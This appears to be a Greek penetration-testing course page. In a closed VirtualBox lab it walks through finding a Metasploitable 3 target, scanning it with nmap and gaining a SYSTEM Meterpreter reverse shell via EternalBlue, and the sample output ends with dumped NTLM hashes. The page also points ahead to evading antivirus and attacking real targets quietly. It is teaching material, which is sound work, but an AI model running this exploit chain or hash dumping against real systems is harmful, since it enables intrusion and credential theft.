Skip to main content

Εισαγωγή και Kali — Καθοδηγούμενη επίδειξη

Σταματάμε τη θεωρία. Στήνουμε το εργαστήριο, σαρώνουμε, αποκτούμε ένα shell. Θα δείτε με τα μάτια σας το πρώτο μηχάνημα να πέφτει. Μετά, σε εργαστήριο, θα το ξανακάνετε μόνοι σας.

Υπενθύμιση — μόνο κλειστό εργαστήριο

Όλες οι εντολές αυτού του μαθήματος εκτελούνται ανάμεσα σε δύο VM στη θέση εργασίας σας, σε ένα δίκτυο απομονωμένο από το internet και το LAN. Καμία τους δεν πρέπει να βγαίνει προς τα έξω. Αν δεν μπορείτε να εγγυηθείτε την απομόνωση, σταματήστε εδώ και διαβάστε πρώτα την ενότητα «Απομονωμένο δίκτυο» παρακάτω.

Τι θα ξέρετε να κάνετε μετά από αυτό το μάθημα​

  • Να στήνετε ένα εργαστήριο επιτιθέμενου + θύματος σε τριάντα λεπτά.
  • Να ανακαλύπτετε το θύμα χωρίς να γνωρίζετε εκ των προτέρων την IP του.
  • Να διαβάζετε την έξοδο του nmap χωρίς να μαντεύετε — να ξέρετε τι λέει κάθε στήλη.
  • Να αποκτάτε ένα πρώτο shell με το Metasploit σε ένα ιστορικό ελάττωμα (EternalBlue, MS17-010).
  • Να κατανοείτε πώς μοιάζει μια απόδειξη χρήσιμη σε αναφορά.

Το σκηνικό​

Δύο VM, ένας μοναδικός κανόνας: μιλάνε μόνο μεταξύ τους.

ΜηχάνημαΡόλοςΔιεύθυνση στο lab
Kali LinuxΣταθμός επιτιθέμενου. Είστε εσείς.10.10.10.5
Metasploitable 3 (Windows)Σκόπιμα ευάλωτος στόχος.Άγνωστη στην αρχή, κάπου στο 10.10.10.0/24.

Το Metasploitable 3 είναι το επίσημο μηχάνημα εξάσκησης που δημοσιεύει η Rapid7 (ο εκδότης του Metasploit). Είναι φτιαγμένο για να καταστρέφεται. Μπορείτε επίσης να χρησιμοποιήσετε ένα ανενημέρωτο Windows 7 με ενεργοποιημένο SMBv1.


Βήμα 0 — Το απομονωμένο δίκτυο (απαραίτητο)​

Στο VirtualBox: File → Host Network Manager → Create. Επιλέξτε DHCP disabled, βάλτε τον host σε 10.10.10.1/24.

Και στα δύο VM: Settings → Network → Adapter 1 → Host-only Adapter, επιλέξτε το δίκτυο που δημιουργήσατε.

Επαλήθευση (στο Kali):

ip -brief address

Αναμενόμενη έξοδος:

lo               UNKNOWN        127.0.0.1/8
eth0 UP 10.10.10.5/24

Ένα ping 8.8.8.8 πρέπει να αποτύχει:

From 10.10.10.5 icmp_seq=1 Destination Host Unreachable

Καλά. Αν το ping περνάει, το lab σας δεν είναι απομονωμένο — διορθώστε πριν συνεχίσετε.


Βήμα 1 — Εύρεση του στόχου (ARP scan)​

Δεν γνωρίζετε την IP του θύματος. Δεν θα τη ζητήσετε: την ψάχνουμε.

sudo netdiscover -r 10.10.10.0/24 -P

Τυπική έξοδος μετά από 20 δευτερόλεπτα:

 Currently scanning: Finished!   |   Screen View: Unique Hosts

IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------
10.10.10.1 0a:00:27:00:00:0a 1 42 Cadmus Computer Systems
10.10.10.12 08:00:27:c3:5f:1e 1 42 PCS Systemtechnik GmbH

Ανάγνωση:

  • Η 10.10.10.1 είναι ο host σας VirtualBox (αγνοήστε την).
  • Η 10.10.10.12 είναι ο στόχος. Ο κατασκευαστής PCS Systemtechnik είναι η υπογραφή του VirtualBox — πρόκειται όντως για ένα VM.

Σημειώστε την IP. Είναι δική σας για τη συνέχεια.

Ορισμός — ARP, MAC, και γιατί το netdiscover λειτουργεί χωρίς εξουσιοδότηση

Σε ένα τοπικό δίκτυο, δύο μηχανήματα που θέλουν να επικοινωνήσουν χρειάζονται δύο διευθύνσεις. Η διεύθυνση IP είναι αυτή του πρωτοκόλλου του Internet, στο 10.10.10.12. Η διεύθυνση MAC, χαραγμένη στην κάρτα δικτύου, είναι αυτή του φυσικού μέσου, στο 08:00:27:c3:5f:1e. Η IP λέει σε ποιον, η MAC λέει από πού.

Πώς η πρώτη μεταφράζεται στη δεύτερη; Αυτός είναι ο ρόλος του πρωτοκόλλου ARP, Address Resolution Protocol. Όταν το Kali θέλει να στείλει ένα πακέτο στο 10.10.10.12 αλλά δεν γνωρίζει ακόμη τη MAC του, εκπέμπει σε όλο το δίκτυο την ερώτηση «ποιος έχει το 10.10.10.12;». Το εν λόγω μηχάνημα απαντά με τη MAC του· το Kali κρατά την αντιστοίχιση για μερικά λεπτά στην cache του.

Το netdiscover εκμεταλλεύεται ακριβώς αυτόν τον μηχανισμό, σαρώνοντας την περιοχή 10.10.10.0/24 με αιτήματα ARP. Είναι εξαιρετικά διακριτικό από πλευράς logs — τα περισσότερα συστήματα δεν καταγράφουν τα αιτήματα ARP —, δεν διαπερνά τους routers, και λειτουργεί ακόμη και όταν ένα firewall μπλοκάρει το ping. Αντίθετα, δεν βοηθά πλέον μόλις βγούμε από το ίδιο τμήμα δικτύου: πέρα από τον router, ξαναγινόμαστε εξαρτημένοι από μια κλασική σάρωση IP.


Βήμα 2 — Σάρωση θυρών (nmap)​

Μην ξεκινήσετε κατευθείαν με ένα nmap -A --script=vuln 10.10.10.12. Προχωράμε σε στρώματα, από το πιο διακριτικό στο πιο φλύαρο.

2α. Ανοιχτές θύρες, τίποτα άλλο​

nmap -sS -Pn -p- --min-rate 2000 10.10.10.12 -oN scan-ports.txt
  • -sS: SYN scan. Στέλνουμε το πρώτο πακέτο TCP, διαβάζουμε την απάντηση, δεν ολοκληρώνουμε τη χειραψία. Γρήγορο, λιγότερα ίχνη από μια πλήρη σάρωση.
  • -Pn: να μη γίνει ping πρώτα — ο στόχος μπορεί να αγνοεί το ICMP.
  • -p-: οι 65.535 θύρες, όχι μόνο οι 1000 προεπιλεγμένες.
  • --min-rate 2000: επιτάχυνση λίγο (να μην γίνεται σε παραγωγή).
  • -oN: αναγνώσιμη έξοδος σε αρχείο, για την αναφορά σας.
Ορισμός — η χειραψία TCP, και γιατί το SYN scan τη διακόπτει νωρίς

Μια κανονική σύνδεση TCP ανοίγει με τρεις ανταλλαγές, τη χειραψία σε τρεις χρόνους. Ο πελάτης στέλνει ένα πακέτο σημειωμένο SYN, συγχρονίζω· ο διακομιστής απαντά SYN-ACK, συγχρονισμένο και το έλαβα· ο πελάτης ολοκληρώνει με ACK, ελήφθη. Η σύνδεση είναι ανοιχτή, τα δεδομένα μπορούν να κυκλοφορήσουν.

Το SYN scan του Nmap, γνωστό και ως μισάνοιχτο, στέλνει το πρώτο SYN και μετά παρατηρεί την απάντηση. Αν η θύρα είναι ανοιχτή, λαμβάνει SYN-ACK: συμπεραίνει ότι κάποιος ακούει και διακόπτει τη σύνδεση με ένα RST αντί για το αναμενόμενο ACK. Αν η θύρα είναι κλειστή, λαμβάνει απευθείας RST. Αν ένα firewall μπλοκάρει, δεν λαμβάνει τίποτα.

Δύο πρακτικές συνέπειες. Επειδή η σύνδεση δεν ολοκληρώνεται, συχνά δεν εμφανίζεται στα logs της εφαρμογής-στόχου — μόνο ο πυρήνας του συστήματος τη βλέπει να περνάει. Και η σάρωση είναι γρήγορη, γιατί εξοικονομούμε το τρίτο πακέτο και το κλείσιμο. Είναι η προεπιλεγμένη σάρωση από τη στιγμή που έχουμε δικαιώματα root, ακριβώς επειδή χρειάζεται root για να πλαστογραφηθούν μισοτελειωμένα πακέτα TCP.

Απόσπασμα εξόδου:

PORT      STATE SERVICE
22/tcp open ssh
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3306/tcp open mysql
3389/tcp open ms-wbt-server
4848/tcp open appserv-http
8080/tcp open http-proxy

Ανάγνωση:

  • 22, 80, 3389: SSH, web, RDP — η κλασική τριάδα.
  • 445 + 139: κοινή χρήση αρχείων Windows (SMB). Αυτή η θύρα μας ενδιαφέρει. Το SMB είναι ιστορικά ένα ορυχείο ελαττωμάτων.
  • 3306: εκτεθειμένο MySQL. Να σημειωθεί για αργότερα.

2β. Εκδόσεις υπηρεσιών​

Τώρα ζητάμε από κάθε υπηρεσία να συστηθεί:

nmap -sV -p 22,80,135,139,445,3389,8080 10.10.10.12 -oN scan-versions.txt

Βασικό απόσπασμα:

PORT    STATE SERVICE       VERSION
80/tcp open http Microsoft IIS httpd 7.5
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

Μετάφραση: Windows Server 2008 R2 με SMB σε λειτουργία ακρόασης. Το Windows Server 2008 R2 = ημερομηνία κυκλοφορίας 2009 = τζάκποτ. Ένα OS αυτής της γενιάς, αν δεν έχει διορθωθεί, είναι ευάλωτο στο MS17-010 (όνομα exploit: EternalBlue), το ελάττωμα που δημοσιεύτηκε από τη διαρροή Shadow Brokers το 2017.

2γ. Επιβεβαίωση της ευπάθειας (script NSE)​

nmap --script smb-vuln-ms17-010 -p 445 10.10.10.12

Αναμενόμενη έξοδος:

| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143

Η λέξη VULNERABLE είναι σε κεφαλαία για καλό λόγο. Το μηχάνημα είναι δικό μας. Απομένει μόνο να περάσουμε στην πράξη.


Βήμα 3 — Απόκτηση ελέγχου με το Metasploit​

Το Metasploit είναι ένα framework. Φορτώνετε μια ενότητα (το exploit), της δίνετε τις επιλογές της (τον στόχο), εκτελείτε.

Ορισμός — το Metasploit δεν είναι ένα εργαλείο, είναι ένα πλαίσιο

Ένα εργαλείο, με την αυστηρή έννοια, κάνει ένα πράγμα. Το Nmap σαρώνει, το John the Ripper σπάει αποτυπώματα, το curl μεταφέρει ένα αρχείο. Το Metasploit δεν κάνει τίποτα μόνο του: είναι ένα πλαίσιο, στα αγγλικά framework, που συγκεντρώνει και διαθέτει πάνω από δύο χιλιάδες ενότητες επίθεσης γραμμένες από τρίτους, από τον πυρήνα BSD της δεκαετίας του 2000 έως το ευάλωτο Log4Shell του 2021.

Το ενδιαφέρον του πλαισίου δεν είναι η ποσότητα, είναι η τυποποίηση. Είτε η ενότητα στοχεύει το SMB σε Windows είτε ένα CMS PHP, χειρίζεστε πάντα τις ίδιες εντολές — use, show options, set, exploit. Επιλέγετε πάντα ένα payload από την ίδια λίστα. Διαχειρίζεστε πάντα τις ανοιχτές σας συνεδρίες με sessions -l. Αυτή η κανονικότητα, αόρατη για τον αρχάριο χρήστη, είναι αυτό που κάνει το Metasploit απαραίτητο μόλις αφήσουμε το μονο-exploit και περνάμε σε μια πραγματική αποστολή.

Δύο όρια που πρέπει να γνωρίζετε. Πολλά antivirus εντοπίζουν αμέσως τα μη τροποποιημένα payloads του Metasploit, γιατί οι υπογραφές τους είναι δημόσιες και παλιές· η ενότητα 8 μαθαίνει να τα συγκαλύπτει. Και ένα exploit που υπάρχει χειροκίνητα δεν είναι πάντα ενσωματωμένο στο Metasploit — σε αυτή την περίπτωση το εκτελούμε με το χέρι, χωρίς να περάσουμε από το πλαίσιο.

msfconsole -q

Το -q καταργεί το ASCII banner (που όλοι έχουν δει 500 φορές).

Στην κονσόλα msf6 >:

search ms17-010

Έξοδος:

   #  Name                                      Rank     Description
- ---- ---- -----------
0 exploit/windows/smb/ms17_010_eternalblue average MS17-010 EternalBlue
1 auxiliary/scanner/smb/smb_ms17_010 normal MS17-010 SMB RCE Detection

Παίρνουμε το αρ. 0:

use 0
show options

Το Metasploit εμφανίζει τις παραμέτρους. Μόνο τρεις να ρυθμιστούν:

set RHOSTS 10.10.10.12
set LHOST 10.10.10.5
set LPORT 4444
  • RHOSTS — το θύμα.
  • LHOST — το δικό σας Kali (εκεί όπου το shell θα συνδεθεί επιστρέφοντας).
  • LPORT — η θύρα ακρόασης στο δικό σας μηχάνημα.
Ορισμός — το ωφέλιμο φορτίο, ο εκκινητής, και γιατί η σύνδεση έρχεται από τον στόχο

Ένα exploit διαβάζεται σε δύο κομμάτια. Η ευπάθεια είναι το ελάττωμα που επιτρέπει την εκτέλεση αυθαίρετου κώδικα στον στόχο. Το ωφέλιμο φορτίο, στα αγγλικά payload, είναι αυτός ο κώδικας — αυτό που θα κάνει ο στόχος μόλις τον κάνουμε να εκτελέσει κάτι. Το πρώτο κάνει την είσοδο, το δεύτερο αποφασίζει τι θα γίνει μόλις μπούμε μέσα.

Η επιλογή του windows/x64/meterpreter/reverse_tcp αξίζει να κατανοηθεί. windows/x64: το φορτίο είναι ένα δυαδικό αρχείο Windows 64 bit. meterpreter: δεν είναι ένα απλό shell, είναι ένας πλήρης πράκτορας φορτωμένος στη μνήμη, για τον οποίο μιλάμε παρακάτω. reverse_tcp: ο στόχος ανοίγει μια εξερχόμενη σύνδεση προς το Kali αντί να περιμένει μια εισερχόμενη σύνδεση. Αυτό είναι το πρακτικό κλειδί του μοντέλου: τα περισσότερα εταιρικά firewall επιθεωρούν αυτό που μπαίνει και αφήνουν την εξερχόμενη κίνηση χωρίς πολύ έλεγχο, άρα μια σύνδεση από τον στόχο προς έναν εξωτερικό διακομιστή έχει μεγάλες πιθανότητες να περάσει.

Τελευταία χρήσιμη λεπτομέρεια: τα λεγόμενα σταδιακά φορτία, όπως αυτό εδώ, δεν στέλνονται όλα μαζί. Το Metasploit στέλνει πρώτα ένα μικρό πρόγραμμα, τον stager, ο μόνος ρόλος του οποίου είναι να επικοινωνήσει με το Kali για να κατεβάσει το πραγματικό φορτίο — το Meterpreter — και να το φορτώσει στη μνήμη. Αυτό μειώνει το μέγεθος του αρχικού κώδικα που εισάγεται, κάτι που βοηθά σε exploit όπου διαθέτουμε μόνο μερικές εκατοντάδες bytes.

Εκτελούμε:

exploit

Έξοδος (οι γραμμές που μετράνε):

[*] Started reverse TCP handler on 10.10.10.5:4444
[*] 10.10.10.12:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.12:445 - Host is likely VULNERABLE to MS17-010!
[*] 10.10.10.12:445 - Connecting to target for exploitation.
[+] 10.10.10.12:445 - Connection established for exploitation.
[*] 10.10.10.12:445 - Sending final SMBv1 buffers.
[*] 10.10.10.12:445 - Sending last fragment of exploit packet!
[*] 10.10.10.12:445 - Receiving response from exploit packet
[+] 10.10.10.12:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] Sending stage (200262 bytes) to 10.10.10.12
[*] Meterpreter session 1 opened (10.10.10.5:4444 -> 10.10.10.12:49670)

meterpreter >

Αυτό το meterpreter > αλλάζει τα πάντα. Είστε μέσα.

Ορισμός — το Meterpreter, ο πράκτορας που δεν βλέπουμε να περνάει

Το Meterpreter, συντόμευση του meta-interpreter, είναι ένας πράκτορας επίθεσης σχεδιασμένος από το Metasploit. Διαφέρει από ένα συνηθισμένο shell σε τρία σημεία που αξίζει να συγκρατήσετε.

Δεν αγγίζει ποτέ τον δίσκο. Το shell του στόχου ανοίγει, αλλά το Meterpreter φορτώνεται εξ ολοκλήρου στη μνήμη, μέσα στη ήδη νόμιμη διεργασία που το exploit παραβίασε. Ένα κλασικό antivirus που σαρώνει το σύστημα αρχείων δεν θα βρει τίποτα.

Μιλάει ένα κρυπτογραφημένο δυαδικό πρωτόκολλο στο Kali, όχι εντολές σε απλό κείμενο. Ό,τι πληκτρολογείτε στην πλευρά του επιτιθέμενου μεταφράζεται σε κλήσεις συναρτήσεων· ό,τι επιστρέφει ο στόχος συσκευάζεται πριν μεταδοθεί. Ένας αναλυτής δικτύου που καταγράφει την κίνηση βλέπει μια κρυπτογραφημένη ροή, όχι αναγνώσιμες εντολές.

Εκθέτει δυνατότητες που ένα συνηθισμένο shell δεν έχει — λήψη screenshot, dump των αποτυπωμάτων του συστήματος, μεταφορά αρχείου, μετάβαση σε άλλη διεργασία, ακρόαση του μικροφώνου. Είναι λειτουργίες γραμμένες μία φορά από τους συγγραφείς, διαθέσιμες ανεξαρτήτως του συστήματος-στόχου, κάτι που εξηγεί τη σταθερότητα του λεξιλογίου ανάμεσα σε πολύ διαφορετικές ενότητες.

Το Meterpreter είναι παλιό, άρα καλά γνωστό στους αμυνόμενους. Τα σύγχρονα EDR ξέρουν να το εντοπίζουν, ιδίως όταν μεταβαίνει σε άλλη διεργασία ή όταν κάνει ορισμένες κλήσεις συστήματος ριπές. Γι' αυτό η ενότητα 8 μαθαίνει να το συγκαλύπτει, και γιατί οι επαγγελματικές red teams προτιμούν συχνά νεότερους πράκτορες όπως το Sliver ή το Havoc.


Βήμα 4 — Επιβεβαίωση, και λήψη της απόδειξης​

Ελέγξτε ποιος είστε:

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM. Ο υψηλότερος λογαριασμός στα Windows. Όχι διαχειριστής: πάνω από αυτόν. Είστε το ίδιο το σύστημα.

Ελέγξτε πού είστε:

meterpreter > sysinfo
Computer : METASPLOITABLE3
OS : Windows 2008 R2 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows

Και πάρτε μια απόδειξη που θα μπορέσετε να επικολλήσετε στην αναφορά:

meterpreter > screenshot
Screenshot saved to: /home/kali/gGpJKlmA.jpeg

Ανοίξτε το αρχείο: η επιφάνεια εργασίας του θύματος, με τη χρονοσήμανση. Αυτό είναι το proof of pwn σας.

Για διασκέδαση (και για να απεικονίσουμε τον αντίκτυπο):

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
vagrant:1000:aad3b435b51404eeaad3b435b51404ee:e02bc503339d51f71d913c245d35b50b:::

Τα αποτυπώματα NTLM των τοπικών λογαριασμών. Δεν θα τα σπάσετε εδώ — θα είναι το αντικείμενο της ενότητας 9. Το γεγονός ότι τα κατέχετε αρκεί για την αναφορά.

Ορισμός — το αποτύπωμα NTLM, αυτό που μόλις ανακτήσαμε

Ένα λειτουργικό σύστημα δεν αποθηκεύει ποτέ τους κωδικούς πρόσβασης σε απλό κείμενο: αποθηκεύει αποτυπώματα, που είναι το αποτέλεσμα μιας μονόδρομης μαθηματικής συνάρτησης εφαρμοσμένης στον κωδικό. Από το αποτύπωμα δεν ανεβαίνουμε στον κωδικό· από τον κωδικό βρίσκουμε πάντα το ίδιο αποτύπωμα. Αυτό επιτρέπει να επαληθεύεται μια καταχώρηση χωρίς να κρατείται ποτέ το πρωτότυπο.

Τα Windows χρησιμοποιούν το αποτύπωμα NTLM, που προέρχεται από τον κωδικό μέσω της συνάρτησης MD4. Κάθε γραμμή της προηγούμενης εξόδου διαβάζεται ως εξής:

Administrator : 500 : aad3b435b51404eeaad3b435b51404ee : e02bc503339d51f71d913c245d35b50b : : :

Το όνομα, το αριθμητικό αναγνωριστικό του λογαριασμού, το αποτύπωμα LM — παρωχημένο, γεμάτο με μηδενικά στις σύγχρονες ρυθμίσεις —, και μετά το κανονικό αποτύπωμα NT. Αυτά τα αποτυπώματα δεν έχουν άλας (salt), κάτι που τα καθιστά ευάλωτα σε προϋπολογισμένο πίνακα ή σε brute force, όπως θα δούμε στην ενότητα 9.

Δύο ιδιότητες να συγκρατήσετε από σήμερα. Αυτό το αποτύπωμα αρκεί για να παρασταθεί κανείς ως ο λογαριασμός σε άλλα μηχανήματα Windows του ίδιου δικτύου, χωρίς ποτέ να χρειάζεται να γνωρίζει τον κωδικό: είναι η επίθεση Pass-the-Hash. Και το αποτύπωμα του τοπικού λογαριασμού Administrator είναι συχνά το ίδιο σε όλα τα μηχανήματα ενός στόλου του οποίου η εικόνα έχει κλωνοποιηθεί — ένα και μόνο κλεμμένο αποτύπωμα μπορεί έτσι να ανοίξει ολόκληρο τον στόλο.

Κλείστε καθαρά:

meterpreter > exit
[*] Shutting down Meterpreter...

Τι μόλις συνέβη, σε μία νοητική εικόνα​

  1. Δύο VM σε κλειστό δίκτυο.
  2. Το netdiscover βρήκε τον στόχο.
  3. Το nmap απαρίθμησε τις ανοιχτές πόρτες, μετά τις υπηρεσίες πίσω τους.
  4. Ένα script nmap προσδιόρισε το εκμεταλλεύσιμο ελάττωμα.
  5. Το Metasploit παρέδωσε το exploit και ανέκτησε το shell.
  6. Σε τέσσερις εντολές, είστε SYSTEM, με στιγμιότυπα και hashes.

Είναι ακριβώς η ακολουθία που θα κάνουμε δεκατρείς φορές, σε διαφορετικές παραλλαγές, μέχρι το τέλος του μαθήματος.


Εκεί όπου εκτροχιάζεται, και γιατί​

  • Το netdiscover δεν βρίσκει τίποτα. Τα δύο σας VM δεν βρίσκονται στο ίδιο host-only network. Ελέγξτε στις ρυθμίσεις και των δύο VM.
  • Το nmap λέει filtered παντού. Ένα firewall (Windows Defender Firewall) αναχαιτίζει. Στο Metasploitable, απενεργοποιήστε το firewall του VM· σε πραγματικό στόχο, αλλάξτε τεχνική (ενότητα 4).
  • Το exploit επιστρέφει Exploit aborted due to failure: no-target. Ο στόχος δεν είναι 2008 R2, ή το SMBv1 είναι απενεργοποιημένο. Ξανακάντε το nmap --script smb-vuln-ms17-010. Αν NOT VULNERABLE, αλλάξτε ελάττωμα.
  • Η συνεδρία meterpreter πεθαίνει σε 2 δευτερόλεπτα. Antivirus. Σε αυτή την ενότητα, κανένα. Σε πραγματικό στόχο, θα περάσουμε σε συγκαλυμμένα payloads (ενότητα 8).

Πηγαίνοντας παραπέρα, αμέσως​

Ξανακάντε την ίδια ακολουθία, αλλά με την παραλλαγή:

nmap -A -p 445 10.10.10.12

Το -A συσσωρεύει ανίχνευση OS, ανίχνευση εκδόσεων, προεπιλεγμένα scripts και traceroute. Είναι η θορυβώδης σάρωση. Συγκρίνετε την έξοδο με τη σάρωση σε στρώματα — θα δείτε ότι η ίδια πληροφορία φτάνει μονομιάς, αλλά ένα IDS θα την είχε δει να έρχεται από μακριά.

Αυτό είναι το διακύβευμα ολόκληρου του υπόλοιπου μαθήματος: το ίδιο πράγμα, αλλά διακριτικά.